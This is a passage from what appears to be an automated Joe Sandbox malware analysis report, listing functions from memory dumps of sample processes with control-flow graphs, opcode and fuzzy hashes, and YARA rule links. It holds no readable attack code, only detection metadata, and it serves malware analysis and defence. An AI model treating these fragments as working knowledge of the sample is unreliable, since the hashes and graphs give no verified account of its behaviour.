                                                                                                                                                                            • Opcode ID: d3fa2a319b601a3eac293ea949cb5f8eca6dec860c52411323da19314f97449f
                                                                                                                                                                            • Instruction ID: 6f7a80bbd32fd5b763a7362e7470b8890767a8653e54efdce83c4906453125df
                                                                                                                                                                            • Opcode Fuzzy Hash: d3fa2a319b601a3eac293ea949cb5f8eca6dec860c52411323da19314f97449f
                                                                                                                                                                            • Instruction Fuzzy Hash: 18514B9A81E3D94FE7932730A8752D13F754E2329475A41E7C4C6CB2E3E80D5E49C7A2
                                                                                                                                                                            Function 00007FFE6F7D16B4 Relevance: 1.3, Strings: 1, Instructions: 79COMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 380 7ffe6f7d16b4-7ffe6f7d16ce 383 7ffe6f7d16e0-7ffe6f7d16ec 380->383 384 7ffe6f7d16d0-7ffe6f7d16de 380->384 388 7ffe6f7d16fe-7ffe6f7d170c 383->388 389 7ffe6f7d16ee 383->389 384->383 387 7ffe6f7d16f0-7ffe6f7d16f4 384->387 390 7ffe6f7d1769 387->390 391 7ffe6f7d16f5 387->391 404 7ffe6f7d1729 388->404 405 7ffe6f7d170e-7ffe6f7d1718 388->405 389->387 395 7ffe6f7d176b-7ffe6f7d176d 390->395 393 7ffe6f7d16f6-7ffe6f7d16fb 391->393 394 7ffe6f7d1753-7ffe6f7d1754 391->394 393->388 398 7ffe6f7d1755-7ffe6f7d175e 394->398 396 7ffe6f7d179d-7ffe6f7d17a8 395->396 397 7ffe6f7d176f-7ffe6f7d1774 395->397 401 7ffe6f7d17aa 396->401 402 7ffe6f7d177a 397->402 403 7ffe6f7d169e-7ffe6f7d16a0 397->403 398->395 406 7ffe6f7d1760 398->406 410 7ffe6f7d17ac-7ffe6f7d1830 401->410 402->403 408 7ffe6f7d1780-7ffe6f7d1782 402->408 403->384 409 7ffe6f7d16a2-7ffe6f7d16a7 403->409 407 7ffe6f7d172a 404->407 405->407 418 7ffe6f7d171a 405->418 406->395 411 7ffe6f7d1762-7ffe6f7d1764 406->411 412 7ffe6f7d173a-7ffe6f7d1743 407->412 413 7ffe6f7d172c call 7ffe6f7d1278 407->413 408->410 414 7ffe6f7d1784 408->414 424 7ffe6f7d16a9 409->424 425 7ffe6f7d171f-7ffe6f7d1721 409->425 419 7ffe6f7d1776-7ffe6f7d177a 411->419 420 7ffe6f7d1766 411->420 412->398 429 7ffe6f7d1745 412->429 428 7ffe6f7d1731-7ffe6f7d1733 413->428 414->401 423 7ffe6f7d1786-7ffe6f7d178d 414->423 418->425 419->403 419->408 420->395 424->425 430 7ffe6f7d16ab-7ffe6f7d16ac 424->430 426 7ffe6f7d1723-7ffe6f7d1728 425->426 427 7ffe6f7d1751 425->427 426->407 426->412 427->394 428->429 432 7ffe6f7d1735 428->432 429->398 433 7ffe6f7d1747-7ffe6f7d174e call 7ffe6f7d1298 429->433 430->384 432->412 433->406 438 7ffe6f7d1750 433->438 438->398
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: #2M_^
                                                                                                                                                                            • API String ID: 0-1514836291
                                                                                                                                                                            • Opcode ID: ee9491d96f22112c80b487c63e3fa303777af420420a1832609b0699bb1e586f
                                                                                                                                                                            • Instruction ID: 586a11229687f95313555e0c34f6387ca9dd6fd4344b5c2cec25281d4b934bf2
                                                                                                                                                                            • Opcode Fuzzy Hash: ee9491d96f22112c80b487c63e3fa303777af420420a1832609b0699bb1e586f
                                                                                                                                                                            • Instruction Fuzzy Hash: 4C212A29E3E08F81FBA8B22898062FA31414F68366FD45778E44CC21F3FE8C741A41D2
                                                                                                                                                                            Function 00007FFE6F7D1647 Relevance: 1.3, Strings: 1, Instructions: 75COMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 439 7ffe6f7d1647-7ffe6f7d164d 440 7ffe6f7d164e-7ffe6f7d1688 439->440 448 7ffe6f7d168a 440->448 449 7ffe6f7d168c-7ffe6f7d1692 448->449 450 7ffe6f7d1704-7ffe6f7d170c 448->450 451 7ffe6f7d16a4-7ffe6f7d16a7 449->451 452 7ffe6f7d1694-7ffe6f7d1699 449->452 459 7ffe6f7d1729 450->459 460 7ffe6f7d170e-7ffe6f7d1718 450->460 453 7ffe6f7d171f-7ffe6f7d1721 451->453 454 7ffe6f7d16a9 451->454 452->453 456 7ffe6f7d1723-7ffe6f7d1728 453->456 457 7ffe6f7d1751 453->457 454->453 458 7ffe6f7d16ab-7ffe6f7d16ac 454->458 461 7ffe6f7d173a-7ffe6f7d1743 456->461 462 7ffe6f7d172a 456->462 463 7ffe6f7d1753-7ffe6f7d1754 457->463 464 7ffe6f7d16d0-7ffe6f7d16de 458->464 459->462 460->462 470 7ffe6f7d171a 460->470 467 7ffe6f7d1755-7ffe6f7d175e 461->467 473 7ffe6f7d1745 461->473 462->461 465 7ffe6f7d172c call 7ffe6f7d1278 462->465 463->467 474 7ffe6f7d16f0-7ffe6f7d16f4 464->474 475 7ffe6f7d16e0-7ffe6f7d16ec 464->475 478 7ffe6f7d1731-7ffe6f7d1733 465->478 476 7ffe6f7d176b-7ffe6f7d176d 467->476 477 7ffe6f7d1760 467->477 470->453 473->467 479 7ffe6f7d1747-7ffe6f7d174e call 7ffe6f7d1298 473->479 481 7ffe6f7d1769 474->481 482 7ffe6f7d16f5 474->482 496 7ffe6f7d16fe-7ffe6f7d1703 475->496 497 7ffe6f7d16ee 475->497 483 7ffe6f7d179d-7ffe6f7d17a8 476->483 484 7ffe6f7d176f-7ffe6f7d1774 476->484 477->476 480 7ffe6f7d1762-7ffe6f7d1764 477->480 478->473 485 7ffe6f7d1735 478->485 479->477 500 7ffe6f7d1750 479->500 488 7ffe6f7d1776-7ffe6f7d177a 480->488 489 7ffe6f7d1766 480->489 481->476 482->463 491 7ffe6f7d16f6-7ffe6f7d16fb 482->491 490 7ffe6f7d17aa 483->490 492 7ffe6f7d177a 484->492 493 7ffe6f7d169e-7ffe6f7d16a0 484->493 485->461 488->493 495 7ffe6f7d1780-7ffe6f7d1782 488->495 489->476 499 7ffe6f7d17ac-7ffe6f7d1830 490->499 491->496 492->493 492->495 493->464 498 7ffe6f7d16a2 493->498 495->499 501 7ffe6f7d1784 495->501 496->450 497->474 498->451 500->467 501->490 503 7ffe6f7d1786-7ffe6f7d178d 501->503
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: #2M_^
                                                                                                                                                                            • API String ID: 0-1514836291
                                                                                                                                                                            • Opcode ID: 533ec1542d3480d7d89f9a9264c1342c20619967a60cb587ac73cddc8a2d468f
                                                                                                                                                                            • Instruction ID: 73748cfc9e49b6f59e56a6418703c1633846580874982ab1d06042df84d0ad38
                                                                                                                                                                            • Opcode Fuzzy Hash: 533ec1542d3480d7d89f9a9264c1342c20619967a60cb587ac73cddc8a2d468f
                                                                                                                                                                            • Instruction Fuzzy Hash: 7E219019D3F1DF85FBA9A32498161F63B105F55225FC807BAD48C860F3BD8C341E82A2
                                                                                                                                                                            Function 00007FFE6F7D22C0 Relevance: 1.1, Instructions: 1115COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 01151a62aa1961590913d906d2344f4f7fcf8531756145e659c14f9e46aa714d
                                                                                                                                                                            • Instruction ID: e0000cb66a0015f85cbc1214838ce4eefd7d3dd0c5d8cb8475f62d6849d1d4b8
                                                                                                                                                                            • Opcode Fuzzy Hash: 01151a62aa1961590913d906d2344f4f7fcf8531756145e659c14f9e46aa714d
                                                                                                                                                                            • Instruction Fuzzy Hash: 03829D25F3D99E8AF754BB38C4656F93692AF88345FD40974E00ED72E2ED2CB8428741
                                                                                                                                                                            Function 00007FFE6F7D26CC Relevance: .5, Instructions: 468COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 78fd5bbdd5df072ca00bc7822468b82a102526cb8285d87fb728db242b136d45
                                                                                                                                                                            • Instruction ID: c8d28664724540849fcb3bb35a06718fcce5e52d0ea69a11a93ec4b2f78e5c81
                                                                                                                                                                            • Opcode Fuzzy Hash: 78fd5bbdd5df072ca00bc7822468b82a102526cb8285d87fb728db242b136d45
                                                                                                                                                                            • Instruction Fuzzy Hash: 51F14C25F3999E4AF754BB7CC4656FE2182ABC8395FD40974E00ED72E6ED2CB8428740
                                                                                                                                                                            Function 00007FFE6F7D446C Relevance: .2, Instructions: 194COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: a0fddabf44f2b0b88d38748e32c31a883fdc6efa9c07ca8da654383b9d96697b
                                                                                                                                                                            • Instruction ID: 8321a5758b6c70382dc53bcc66a9c1e450332374bd8165a812664f63e5ff6f5c
                                                                                                                                                                            • Opcode Fuzzy Hash: a0fddabf44f2b0b88d38748e32c31a883fdc6efa9c07ca8da654383b9d96697b
                                                                                                                                                                            • Instruction Fuzzy Hash: AF516031918A5C8FDB58DF58D845BE9BBB1FF59310F0082AAD44DE3252DE34A985CB82
                                                                                                                                                                            Function 00007FFE6F7D1D27 Relevance: .2, Instructions: 193COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 3399ff43682a604d87618bf808bb7e0602713c30378c6100543ccdb9cfc66313
                                                                                                                                                                            • Instruction ID: 418e5b4671208c2cc5b7e28f15c5756ca554b9c8a89bb59044d3e305a156af87
                                                                                                                                                                            • Opcode Fuzzy Hash: 3399ff43682a604d87618bf808bb7e0602713c30378c6100543ccdb9cfc66313
                                                                                                                                                                            • Instruction Fuzzy Hash: 74514D15F3E6CF4AE64077BC14264EEAD91DF82205BC459B4E09AA72ABFC1CB9118352
                                                                                                                                                                            Function 00007FFE6F7D4AD8 Relevance: .2, Instructions: 153COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 26d9002e794af06767faa375293a0b425d3ffe40eca665ad14164be8fdadfdc1
                                                                                                                                                                            • Instruction ID: 7b1c1f0dea6cfd2739a812986e6880568a8efd59682c74164e71b91ba71cdaf2
                                                                                                                                                                            • Opcode Fuzzy Hash: 26d9002e794af06767faa375293a0b425d3ffe40eca665ad14164be8fdadfdc1
                                                                                                                                                                            • Instruction Fuzzy Hash: 42413E31918A1C8FDB68EF68D8456EDB7F1FB98310F10826EE449E3252DB74A945CB81
                                                                                                                                                                            Function 00007FFE6F7D2ED3 Relevance: .1, Instructions: 140COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 1b604894ffa0418e2f1b9834b74723af68f1e3b85ce053e02cfcbdaa5f74cc32
                                                                                                                                                                            • Instruction ID: 6f48f0090bdb448f30d16a4ef2585ee8182d842814fffcbf0015f492d8fba155
                                                                                                                                                                            • Opcode Fuzzy Hash: 1b604894ffa0418e2f1b9834b74723af68f1e3b85ce053e02cfcbdaa5f74cc32
                                                                                                                                                                            • Instruction Fuzzy Hash: 2D418025F3958E4AF758B76C84566FD3282EB98385F940634E40DD32E7FD2C7806C642
                                                                                                                                                                            Function 00007FFE6F7D2CF6 Relevance: .1, Instructions: 137COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 5b81850446341267b3b07d8e11e3d5bb6d4006a97377de99a4c9e311c9f36d37
                                                                                                                                                                            • Instruction ID: 2c114bfda3ef80dbccf4cc1e60a83c625cdd482f26d6c2f64bfffb070bfb35ce
                                                                                                                                                                            • Opcode Fuzzy Hash: 5b81850446341267b3b07d8e11e3d5bb6d4006a97377de99a4c9e311c9f36d37
                                                                                                                                                                            • Instruction Fuzzy Hash: E2413325F3998E4BE798BB38C4556BD6292EF94345F940578E00ED32E6ED3CB8428741
                                                                                                                                                                            Function 00007FFE6F7D2D19 Relevance: .1, Instructions: 136COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: cd89201dae6fc7eeec88a8e6e7337725ebb7acd93f6f553ca1858988713faa64
                                                                                                                                                                            • Instruction ID: 3ea00169ac2063a4ffacffa90ed565b4d32ce7e1a6de0cb7765f4ff66b7df0c9
                                                                                                                                                                            • Opcode Fuzzy Hash: cd89201dae6fc7eeec88a8e6e7337725ebb7acd93f6f553ca1858988713faa64
                                                                                                                                                                            • Instruction Fuzzy Hash: 5C418025F3998E8BE794BB38C4556BD6292AF84345F940578E00ED72E6ED3CB842C741
                                                                                                                                                                            Function 00007FFE6F7D258D Relevance: .1, Instructions: 76COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: e6eb8eda661e9dfbd159552a8455fc40d277039cfac9948480e0c43951ddc71d
                                                                                                                                                                            • Instruction ID: 7e0ecb3404ceaf4b0ad8cc92b1fdbd6a40196198abf07269b486f7b439c7a4bc
                                                                                                                                                                            • Opcode Fuzzy Hash: e6eb8eda661e9dfbd159552a8455fc40d277039cfac9948480e0c43951ddc71d
                                                                                                                                                                            • Instruction Fuzzy Hash: 0E21B125E2E7CE4FE3526B7448255A83FA2AF46340F8905FAD049D71E3E92DA806C311
                                                                                                                                                                            Function 00007FFE6F7D2424 Relevance: .1, Instructions: 52COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: c4598209a4e8d0973cb523b99d95ffe3a9c88d32a73074a1c899bd3fc89c89d6
                                                                                                                                                                            • Instruction ID: 721e938a5451c9ecebef370a91dc1e739da3ca32b10cbf811e83b24a70cb5f4a
                                                                                                                                                                            • Opcode Fuzzy Hash: c4598209a4e8d0973cb523b99d95ffe3a9c88d32a73074a1c899bd3fc89c89d6
                                                                                                                                                                            • Instruction Fuzzy Hash: AB012916F3D48F8AFB54676C94563BD20828B94315F991674E40E872F2ED2CBD138652
                                                                                                                                                                            Function 00007FFE6F7D24DD Relevance: .0, Instructions: 49COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 25789dc06becd934b9ab052b09be37f1257269fbd2efa5443862727c6540d214
                                                                                                                                                                            • Instruction ID: e9a10dbaa85fb2e6975a3c3a89d63fe47f432199ab15a494e5150eb458e54b61
                                                                                                                                                                            • Opcode Fuzzy Hash: 25789dc06becd934b9ab052b09be37f1257269fbd2efa5443862727c6540d214
                                                                                                                                                                            • Instruction Fuzzy Hash: 5E014C26E3D48F86FB606B68D4257FD6142AF90315FD506B4E04F871E6FD2CB9138680
                                                                                                                                                                            Function 00007FFE6F7D36EA Relevance: .0, Instructions: 43COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: b74f7439e8d98a9d2bd850b2e48d284aa1d93dcf0631b6cd89ee96bf56a9230d
                                                                                                                                                                            • Instruction ID: 6bf3ee1b07ddd46f8777b7986ea1f45393301f7a6eab17582311f3564c31ca27
                                                                                                                                                                            • Opcode Fuzzy Hash: b74f7439e8d98a9d2bd850b2e48d284aa1d93dcf0631b6cd89ee96bf56a9230d
                                                                                                                                                                            • Instruction Fuzzy Hash: A8F06D26E3697D8EFA9467389085AF922C1AB4D370FC51575D80DDB2E2ED1C7C820280
                                                                                                                                                                            Function 00007FFE6F7D3718 Relevance: .0, Instructions: 38COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 8f4bc85dbcc6c2b37c78c967b9049010812a3f4b9bc9257c9d141eab4c8878a0
                                                                                                                                                                            • Instruction ID: 333b223af46c1718fc124f6121c1456e420d5c36e50284d4c5fa69e676c70fd8
                                                                                                                                                                            • Opcode Fuzzy Hash: 8f4bc85dbcc6c2b37c78c967b9049010812a3f4b9bc9257c9d141eab4c8878a0
                                                                                                                                                                            • Instruction Fuzzy Hash: 15F08927F3996D4AFBA4773854412FC2281DB892B1F850676D80DD71D6FC1D6C820380

                                                                                                                                                                            Non-executed Functions

                                                                                                                                                                            Function 00007FFE6F7D0E60 Relevance: .3, Instructions: 252COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: fb9a6f2e3ee054144e97d62207456691ede529b882bbf02182be6feb10603eb6
                                                                                                                                                                            • Instruction ID: 603b43d8bd08236c8d399a278dcc540dd74caa2dcadb485b5a5186de1a20f47d
                                                                                                                                                                            • Opcode Fuzzy Hash: fb9a6f2e3ee054144e97d62207456691ede529b882bbf02182be6feb10603eb6
                                                                                                                                                                            • Instruction Fuzzy Hash: 1261391791D1EE49E3117F7974069F96F01AF91374B80867BFAC8BA0A39E0C64A1C2D7
                                                                                                                                                                            Function 00007FFE6F9852A0 Relevance: .1, Instructions: 126COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3693543350.00007FFE6F980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F980000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f980000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 47a57ab27de3708891dcd327fa9ab08ed3527ef68b65a76f0a10f9fcb588e878
                                                                                                                                                                            • Instruction ID: 0992d069b1588e94bd89dd6fbe2bdd7879b9fcaebb350bf0a51e7feda2ff3d1e
                                                                                                                                                                            • Opcode Fuzzy Hash: 47a57ab27de3708891dcd327fa9ab08ed3527ef68b65a76f0a10f9fcb588e878
                                                                                                                                                                            • Instruction Fuzzy Hash: 33416F3680C7EA5ED300BE38A8424D57B11FF91338B54453FE9C9B94A3DB2D64A5C6C6
                                                                                                                                                                            Function 00007FFE6F7D0928 Relevance: 5.0, Strings: 4, Instructions: 23COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: S;$![;$"c;$#k;
                                                                                                                                                                            • API String ID: 0-1519754266
                                                                                                                                                                            • Opcode ID: 10c134d329cb4f8da9abe5fd1e43b320df5aaf1aa7b4f68bc76eb6922ec3a738
                                                                                                                                                                            • Instruction ID: 15e4ec81de676e23186b97d865ea01e9904cf76cb3c5e2afaf9f90259eaaf52a
                                                                                                                                                                            • Opcode Fuzzy Hash: 10c134d329cb4f8da9abe5fd1e43b320df5aaf1aa7b4f68bc76eb6922ec3a738
                                                                                                                                                                            • Instruction Fuzzy Hash: B9D05E1B736C6E0596446B5DB4500FCE385E7C617369087B3FA41D22925A516857C2E0

                                                                                                                                                                            Executed Functions

                                                                                                                                                                            Function 00007FFE6F7E86E8 Relevance: 1.6, Strings: 1, Instructions: 368COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: {>
                                                                                                                                                                            • API String ID: 0-3919259914
                                                                                                                                                                            • Opcode ID: e87ff85bf2354c7f999716455330cd4097e100b776c75b657a205c9117e82818
                                                                                                                                                                            • Instruction ID: 370e6b83a572ffeacd21ea79f7684bdb8dd43bf20acc424c41ee2eba0caa4be1
                                                                                                                                                                            • Opcode Fuzzy Hash: e87ff85bf2354c7f999716455330cd4097e100b776c75b657a205c9117e82818
                                                                                                                                                                            • Instruction Fuzzy Hash: DBC18E1593E6CE8EE756937898652B43BA09F56310F0905BBD4A8CB1F3FD0C785A8352
                                                                                                                                                                            Function 00007FFE6F7E32F0 Relevance: .4, Instructions: 421COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: f04ec1cff296cde2436540b52d5fff987d454350717fc48e91b0717800dff01d
                                                                                                                                                                            • Instruction ID: 3813b088d1a7bc82d90faf88e9872a0bc16dca91e9b6267be9204520bb7a54e4
                                                                                                                                                                            • Opcode Fuzzy Hash: f04ec1cff296cde2436540b52d5fff987d454350717fc48e91b0717800dff01d
                                                                                                                                                                            • Instruction Fuzzy Hash: D6E11D5993E2DE8AE7A7572498225F53F604F23314F5545FBC499CB1F3E80C790A83A2
                                                                                                                                                                            Function 00007FFE6F7E16B4 Relevance: 1.3, Strings: 1, Instructions: 79COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
